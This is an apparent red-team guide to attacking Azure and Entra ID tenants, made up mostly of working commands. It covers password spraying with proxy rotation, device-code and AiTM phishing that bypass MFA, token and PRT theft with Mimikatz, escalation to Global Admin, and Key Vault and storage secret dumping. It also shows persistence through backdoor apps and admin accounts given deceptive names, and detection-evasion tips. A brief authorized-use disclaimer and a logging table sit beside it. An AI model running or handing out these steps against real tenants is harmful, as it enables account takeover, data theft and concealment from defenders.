azure-entra
03 — Azure / Entra Attacks
BLUF: Azure and Entra ID (formerly Azure AD) are the identity backbone of the modern enterprise. Every Office 365 tenant, Teams deployment, SharePoint environment, and Azure workload authenticates through Entra. Compromising an Entra ID account — especially a Global Admin, Application Admin, or privileged managed identity — grants access to the entire Microsoft ecosystem. This guide covers attack paths from credential access through tenant dominance, with a focus on techniques that work in real enterprise environments in 2025/2026.
Sections
- Initial Access — Entra Credential Sources · 2. Enumeration — Tenant & Identity Recon · 3. Token Theft & Abuse · 4. PRT (Primary Refresh Token) Attacks · 5. Application & Service Principal Abuse · 6. Entra ID Role Privilege Escalation · 7. Azure Resource Attacks (VMs, Storage, Key Vault) · 8. Persistence in Entra ID · 9. Azure OPSEC & Logging Awareness · 10. Quick-Reference Cheat Sheet
Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.
Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.
Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.
CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.
graph TB
InitAccess([Initial Access\nPhish / Spray / Token Theft]) --> TenantEnum[Tenant Enumeration\nAADInternals / Graph API]
TenantEnum --> TokenAbuse[Token Theft\nPRT / OAuth / FOCI]
TenantEnum --> AppAbuse[App / SP Abuse\nClient Secret / Cert]
TokenAbuse --> GraphAccess[Microsoft Graph API Access]
AppAbuse --> GraphAccess
GraphAccess --> PrivEsc[Entra Role PrivEsc\nGlobal Admin]
GraphAccess --> DataAccess[Data Access\nMail / Teams / SharePoint]
PrivEsc --> Persist[Persistence\nBackdoor SP / New Admin]
style InitAccess fill:#ff6600
style PrivEsc fill:#cc0000,color:#ffffffMITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Where Used |
|---|---|---|---|
| T1528 | Steal Application Access Token | Credential Access | OAuth / OIDC token theft |
| T1111 | Multi-Factor Authentication Interception | Credential Access | Adversary-in-the-middle phishing |
| T1550.001 | Application Access Token | Lateral Movement | Stolen token reuse |
| T1649 | Steal or Forge Authentication Certificates | Credential Access | PRT / ADCS certificate abuse |
| T1098.003 | Additional Cloud Roles | Persistence | New admin role assignments |
| T1136.003 | Cloud Account | Persistence | Backdoor service principal |
| T1087.004 | Cloud Account Discovery | Discovery | Entra user/group enumeration |
Section 1 — Initial Access: Entra Credential Sources
1.1 Password Spray (Low-and-Slow)
Microsoft's Smart Lockout triggers after ~10 failed attempts per account. Spray one password across many accounts, wait 30+ minutes between rounds.
# MSOLSpray — targeted at Microsoft Online (O365/Entra):
# github.com/dafthack/MSOLSpray
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray \
-UserList .\users.txt \
-Password "Summer2024!" \
-Delay 35 \
-Verbose
# TREVORspray — supports proxy rotation to bypass Smart Lockout per-IP tracking:
# github.com/blacklanternsecurity/TREVORspray
python3 trevorspray.py \
-u users.txt \
-p "Welcome1!" \
--delay 35 \
--proxy socks5://proxy1:1080 \
--proxy socks5://proxy2:1080
# FireProx — rotates source IPs via AWS API Gateway for spray:
# github.com/ustayready/fireprox
python3 fire.py --create --url https://login.microsoftonline.com
# Returns a rotating API Gateway URL for each spray attempt
1.2 Device Code Phishing (No Password Needed)
# Device Code auth flow: attacker initiates auth, victim completes it
# Victim's browser — no credentials extracted by attacker — works against MFA
# Step 1: Request device code
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default"
# Response contains: user_code, device_code, verification_uri
# Send user_code + verification_uri to victim (phishing email / message)
# Step 2: Poll for token (victim authenticates in their browser)
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=<device_code>"
# When victim completes auth: returns access_token, refresh_token — full MFA bypass
# Automated tool: TokenTactics
# github.com/rvrsh3ll/TokenTactics
Import-Module TokenTactics
Get-AzureToken -Client MSGraph
# Handles polling + token extraction automatically
1.3 AiTM Phishing (Adversary-in-the-Middle)
# Evilginx / Modlishka — proxy-based phishing that captures session cookies after MFA
# Victim authenticates legitimately (passes MFA), attacker captures the session cookie
# Evilginx (github.com/kgretzky/evilginx2):
# 1. Configure phishlet for Microsoft 365
# 2. Create phishlet URL pointing at attacker server
# 3. Victim authenticates: MFA token consumed, session cookie captured
# After capture: import the session cookie into browser
# Works with: all MFA types EXCEPT hardware FIDO2 keys
Section 2 — Enumeration: Tenant & Identity Recon
2.1 Unauthenticated Tenant Reconnaissance
# Confirm if a domain uses Microsoft/Entra ID:
curl -s "https://login.microsoftonline.com/<domain>/.well-known/openid-configuration" | jq .
# Get Tenant ID from domain:
curl -s "https://login.microsoftonline.com/<domain>/.well-known/openid-configuration" | jq -r '.issuer'
# Format: https://sts.windows.net/<TENANT_ID>/
# Alternative:
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=user@<domain>&xml=1"
# Check login type:
# NameSpaceType = Managed → Entra ID natively managed
# NameSpaceType = Federated → SSO (ADFS, Okta, Ping)
# Federated tenants: the federation endpoint is a valuable target
2.2 User Enumeration (Unauthenticated)
# O365 user enumeration — check if email exists (doesn't require valid creds):
# Method 1: autodiscover endpoint
curl -s -X POST \
"https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">...'
# Method 2: credential spray response analysis
# Valid user + wrong password → AADSTS50126 (bad password)
# Invalid user → AADSTS50034 (user does not exist)
# NameSpaceType check for existence:
curl "https://login.microsoftonline.com/getuserrealm.srf?login=target@domain.com"
# Returns ThrottleStatus / IfExistsResult indicating account existence
2.3 Authenticated Enumeration (AADInternals / Graph API)
# AADInternals PowerShell module — most complete Entra recon tool:
# github.com/Gerenios/AADInternals
Install-Module AADInternals -Force
Import-Module AADInternals
# Authenticate:
$token = Get-AADIntAccessTokenForMSGraph
# (opens browser for login OR accepts stolen access/refresh token)
# Enumerate users, groups, roles:
Get-AADIntUsers | Select-Object UserPrincipalName, DisplayName, ObjectId | Out-GridView
Get-AADIntGroups | Select-Object DisplayName, ObjectId
Get-AADIntDirectoryRoles # Shows who has Global Admin, etc.
# Check your own permissions:
$token | Read-AADIntAccesstoken
# Microsoft Graph API direct queries:
TOKEN="<access_token>"
# List users:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/users" | jq '.value[] | {displayName, userPrincipalName, id}'
# List groups:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/groups" | jq '.value[] | {displayName, id}'
# Get role assignments (who is Global Admin?):
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/directoryRoles" | jq '.value[] | {displayName, id}'
# Get members of Global Administrator role:
ROLE_ID="62e90394-69f5-4237-9190-012177145e10" # Global Admin role ID
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/directoryRoles/$ROLE_ID/members" \
| jq '.value[] | {displayName, userPrincipalName}'
Section 3 — Token Theft & Abuse
3.1 Token Cache Locations
# On a compromised Windows endpoint: tokens cached in multiple locations
# Azure CLI token cache:
%USERPROFILE%\.azure\msal_token_cache.json # ~/.azure/msal_token_cache.json (Linux)
%USERPROFILE%\.azure\accessTokens.json # Older az CLI
# PowerShell Az module:
%USERPROFILE%\.Azure\TokenCache.dat
# Teams client token:
%LOCALAPPDATA%\Microsoft\Teams\storage.json # May contain auth tokens
# Browser (Edge/Chrome) — Office 365 session cookies:
# Use SharpChromium or CookieExtract for Chrome cookie extraction
# Office 365 COM token via MSAL:
# Extract with TokenTactics or Roadtools
3.2 FOCI (Family of Client IDs) Token Reuse
Microsoft has a "Family of Client IDs" — a list of first-party Microsoft apps that share refresh tokens. If you steal a refresh token from one, you can use it to get access tokens for other apps in the family.
# Common FOCI client IDs (can all share the same refresh token):
# d3590ed6-52b3-4102-aeff-aad2292ab01c → Microsoft Office
# 04b07795-8ddb-461a-bbee-02f9e1bf7b46 → Azure CLI
# 1950a258-227b-4e31-a9cf-717495945fc2 → Microsoft Azure PowerShell
# 00b41c95-dab0-4487-9791-b9d2c32c80f2 → Office 365 Management
# Use refresh token from one app to get access token for another:
curl -s -X POST \
"https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=refresh_token&client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46&refresh_token=<stolen_refresh_token>&scope=https://management.azure.com/.default"
# TokenTactics handles FOCI automatically:
Import-Module TokenTactics
$token = Get-AzureToken -Client MSTeams # Steal Teams token
RefreshTo-AzureCoreManagementToken -Domain contoso.com -RefreshToken $token.refresh_token
# Now you have an Azure management token from a Teams refresh token
Section 4 — PRT (Primary Refresh Token) Attacks
The PRT is the crown jewel of Windows SSO. It's a long-lived refresh token stored on the device that allows SSO to all Entra ID apps without re-authentication.
4.1 PRT Extraction
# PRT is stored in LSASS (on domain-joined or Entra-joined devices)
# Requires: local admin or SYSTEM on the target Windows device
# ROADtoken — extract PRT from Windows (requires System context):
# github.com/dirkjanm/ROADtools
# Method 1: Via Mimikatz (if Credential Guard is off)
mimikatz # sekurlsa::cloudap
# Method 2: Via SharpDPAPI (DPAPI-based PRT extraction):
# github.com/GhostPack/SharpDPAPI
.\SharpDPAPI.exe triage
# Look for: "Enterprise PRT"
# Method 3: Via BrowserGhost (from browser profile):
# github.com/tothi/browserGhost
.\browserGhost.exe --browser edge
4.2 Using a Stolen PRT for SSO
# RequestAADRefreshToken — convert PRT to refresh token for any Microsoft app:
# github.com/leechristensen/RequestAADRefreshToken
.\RequestAADRefreshToken.exe -clientID d3590ed6-52b3-4102-aeff-aad2292ab01c -tenantID <tenant_id>
# Opens browser with PRT-based SSO → no MFA required → captures tokens
# AADInternals:
$prtCookieValue = "<prt_sso_cookie>"
Get-AADIntAccessTokenForMSGraph -PRTCookie $prtCookieValue
Section 5 — Application & Service Principal Abuse
5.1 Find Over-Privileged Applications
# Applications with Graph API permissions are common PrivEsc paths
# List all app registrations:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/applications" | jq '.value[] | {displayName, id, appId}'
# Get permissions for an app:
APP_ID="<app-object-id>"
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/applications/$APP_ID" \
| jq '.requiredResourceAccess'
# Service Principals (enterprise apps — instantiated apps in your tenant):
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals" \
| jq '.value[] | select(.appRoles | length > 0) | {displayName, appRoles}'
5.2 Add Credentials to Existing Application
# If you have Application.ReadWrite.All or AppRoleAssignment.ReadWrite.All:
# Add a client secret to an existing privileged app → authenticate as that app
APP_OBJECT_ID="<target-app-object-id>"
# Add a new secret (password credential):
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/applications/$APP_OBJECT_ID/addPassword" \
-d '{"passwordCredential": {"displayName": "backup-key", "endDateTime": "2027-01-01T00:00:00Z"}}'
# Returns: secretText — the new client secret
# Authenticate as the app:
curl -s -X POST \
"https://login.microsoftonline.com/<tenant_id>/oauth2/v2.0/token" \
-d "grant_type=client_credentials&client_id=<app_id>&client_secret=<new_secret>&scope=https://graph.microsoft.com/.default"
5.3 Managed Identity Abuse (from Azure VM/Container)
# On a compromised Azure VM with a Managed Identity assigned:
# Get access token via Azure Instance Metadata Service (IMDS):
TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# Use token to call Graph API:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/me"
# Get Azure management token:
MGMT_TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# List Azure resources accessible to this managed identity:
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
"https://management.azure.com/subscriptions?api-version=2022-12-01"
Section 6 — Entra ID Role Privilege Escalation
6.1 Find PrivEsc Paths — AzureHound
# AzureHound — BloodHound collector for Azure/Entra
# github.com/BloodHoundAD/AzureHound
./azurehound -u user@domain.com -p "Password" list all -o output.json
# Import output.json into BloodHound and run pre-built Azure attack queries:
# "Shortest path to Global Administrator"
# "Service principals with Privileged Role Administrator rights"
6.2 Privilege Escalation via Delegated Permissions
# If your compromised account/SP has privileged delegated Graph API permissions:
# RoleManagement.ReadWrite.Directory → Assign any Entra role to yourself
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-d '{
"principalId": "<your-object-id>",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
"directoryScopeId": "/"
}'
# roleDefinitionId: 62e90394-69f5-4237-9190-012177145e10 = Global Administrator
# Application.ReadWrite.All → Add yourself as app owner → add high-priv credentials
# GroupMember.ReadWrite.All → Add yourself to privileged groups
6.3 Abuse of Privileged Roles
# Application Administrator can:
# - Create new app registrations
# - Add credentials to existing apps (including high-privilege service principals)
# - Assign application roles
# Cloud Application Administrator — same as above minus Entra Connect
# Privileged Role Administrator can:
# - Grant any role to any user (including Global Admin)
# - This is the direct PrivEsc to Global Admin
# User Administrator can:
# - Reset passwords of non-admin users
# - Useful for taking over accounts
# Global Admin → Crown jewels:
# - Read/reset any user's password
# - Access any SharePoint site, Teams, mailbox
# - Register BYOD devices (useful for PRT-based persistence)
# - Full Azure AD control
Section 7 — Azure Resource Attacks
7.1 Key Vault Access
# Key Vault stores secrets, keys, certificates — high-value target
# Requires: Key Vault specific permissions (not just Azure RBAC)
# List Key Vaults in subscription:
az keyvault list --query "[].{name:name, id:id}"
# List secrets in a Key Vault:
az keyvault secret list --vault-name <vault-name>
# Get secret value:
az keyvault secret show --vault-name <vault-name> --name <secret-name>
# If RBAC: check if you have 'Key Vault Secrets Officer' or 'Key Vault Administrator'
az role assignment list --all | grep -i "key vault"
7.2 Storage Account Access
# Storage Account contains Blob Storage (S3 equivalent), File Shares, Tables, Queues
# List storage accounts:
az storage account list --query "[].{name:name, resourceGroup:resourceGroup}"
# Get storage account keys (if Storage Account Contributor or Owner):
az storage account keys list --account-name <storage-name> --resource-group <rg>
# Use key to access blobs:
az storage container list --account-name <storage-name> --account-key <key>
az storage blob list --account-name <storage-name> --container-name <container> --account-key <key>
az storage blob download --account-name <storage-name> --container-name <c> --name <blob> --account-key <key> --file /tmp/loot
7.3 VM Command Execution (Run Command)
# If you have 'Virtual Machine Contributor' or 'Contributor' on a VM:
# Run commands on the VM without SSH/RDP access
az vm run-command invoke \
--resource-group <rg> \
--name <vm-name> \
--command-id RunShellScript \
--scripts "whoami && cat /etc/passwd"
# Windows VM:
az vm run-command invoke \
--resource-group <rg> \
--name <vm-name> \
--command-id RunPowerShellScript \
--scripts "whoami; Get-LocalGroupMember -Group Administrators"
# Retrieve IMDS credentials from VM (if it has a managed identity):
az vm run-command invoke \
--resource-group <rg> --name <vm-name> \
--command-id RunShellScript \
--scripts "curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"access_token\"])'"
Section 8 — Persistence in Entra ID
Create Backdoor Application (Service Principal)
# Create a new app registration with high-privilege Graph API permissions
# 1. Create app registration:
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/applications" \
-d '{
"displayName": "Microsoft Monitoring Agent",
"signInAudience": "AzureADMyOrg",
"requiredResourceAccess": [{
"resourceAppId": "00000003-0000-0000-c000-000000000000",
"resourceAccess": [
{"id": "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8", "type": "Role"},
{"id": "62a82d76-70ea-4ab4-9e51-1fca78697a27", "type": "Role"}
]
}]
}'
# 2. Add a client secret:
# (see Section 5.2)
# 3. Grant admin consent for the permissions:
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/oauth2PermissionGrants" \
-H "Content-Type: application/json" \
-d '{"clientId":"<sp-object-id>","consentType":"AllPrincipals","resourceId":"<graph-sp-id>","scope":"RoleManagement.ReadWrite.Directory"}'
# Now use client ID + secret to authenticate as this app persistently
Add Backdoor Global Admin
# If Global Admin: create a new Global Admin account
# (less noisy than modifying existing accounts)
# Via AADInternals:
New-AADIntUser -UserPrincipalName "support@domain.com" \
-DisplayName "IT Support" \
-Password "P@ssw0rd123!" \
-GlobalAdmin
# Via Graph API:
curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/users" \
-d '{"accountEnabled":true,"displayName":"IT Support","mailNickname":"support","userPrincipalName":"support@domain.com","passwordProfile":{"forceChangePasswordNextSignIn":false,"password":"P@ssw0rd123!"}}'
# Then assign Global Admin role to new account
Section 9 — Azure OPSEC & Logging Awareness
What Azure Monitor / Defender for Cloud Sees
| Action | Log Location | Default Alert? |
|---|---|---|
| Password spray (failed logins) | Entra Sign-in logs | Yes — Identity Protection |
| New app registration | Entra Audit logs | No |
| Role assignment change | Entra Audit logs | Yes — Privileged Identity Management |
| Access token issued | Entra Sign-in logs | Sometimes |
| Key Vault secret access | Key Vault diagnostic logs | If enabled |
| VM run-command | Azure Activity log | Yes |
| New user creation | Entra Audit logs | No |
| Service principal credential added | Entra Audit logs | Defender for Cloud (if enabled) |
OPSEC Techniques
# 1. Check if Microsoft Defender for Identity is enabled (on-prem hybrid):
# Look for "Azure ATP" or "Defender for Identity" sensors on DCs
# Defender for Identity alerts on: Golden Ticket, DCSync, lateral movement
# 2. Check Entra Identity Protection policies:
# High-risk sign-in = suspicious country, anonymous IP, or leaked credentials
# Will prompt MFA or block if Conditional Access policy exists
# 3. Use the Azure CLI from a clean IP (US-based residential or matched to target geo)
# Sign-in location anomaly is a common alert trigger
# 4. Prefer service principal auth over user auth when possible:
# User auth generates sign-in events visible in Entra
# Application auth (client credentials flow) generates less scrutinized audit events
# 5. Check if PIM (Privileged Identity Management) is enabled:
# PIM requires activation of privileged roles — alerts when activation occurs
# If PIM is on: being added as Global Admin is visible even before you activate the role
# 6. Defender for Cloud Apps (MCAS) monitors:
# Impossible travel, mass downloads from SharePoint, unusual Graph API access
# Use slow, business-hours only access patterns to evade anomaly detection
Section 10 — Quick-Reference Cheat Sheet
# Tenant reconnaissance (unauthenticated)
curl "https://login.microsoftonline.com/<domain>/.well-known/openid-configuration" | jq -r '.issuer'
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@domain.com&xml=1"
# Token acquisition
Import-Module TokenTactics
Get-AzureToken -Client MSGraph # Device code phishing
# Authenticated enumeration
aws sts get-caller-identity # (for reference; Azure equivalent:)
az account show # Azure CLI identity check
curl -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/me
curl -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/users
curl -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/directoryRoles
# FOCI token pivot
RefreshTo-AzureCoreManagementToken -Domain contoso.com -RefreshToken $rt
# Managed Identity (from Azure VM)
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"
# AzureHound (BloodHound for Azure)
./azurehound -u user@domain.com -p "Password" list all -o output.json
# Key Vault
az keyvault list
az keyvault secret list --vault-name <name>
az keyvault secret show --vault-name <name> --name <secret>
# VM command execution
az vm run-command invoke --resource-group <rg> --name <vm> --command-id RunShellScript --scripts "whoami"
# Persistence — backdoor app
curl -X POST -H "Authorization: Bearer $TOKEN" "https://graph.microsoft.com/v1.0/applications" -d '{"displayName":"IT Monitoring",...}'
Key tool reference:
| Tool | Purpose | Link |
|---|---|---|
| TokenTactics | Token manipulation, device code phishing | github.com/rvrsh3ll/TokenTactics |
| AADInternals | Comprehensive Entra attack framework | github.com/Gerenios/AADInternals |
| AzureHound | BloodHound for Azure/Entra | github.com/BloodHoundAD/AzureHound |
| ROADtools | Entra enumeration + token handling | github.com/dirkjanm/ROADtools |
| PACU | AWS exploitation (for comparison) | github.com/RhinoSecurityLabs/pacu |
| MSOLSpray | O365 password spray | github.com/dafthack/MSOLSpray |
| TREVORspray | Spray with proxy rotation | github.com/blacklanternsecurity/TREVORspray |
| GraphRunner | Post-compromise Graph API ops | github.com/dafthack/GraphRunner |
Part of the Red Teaming 101 series. Parent: P5 — Cloud Attack · See also: AWS Attack Paths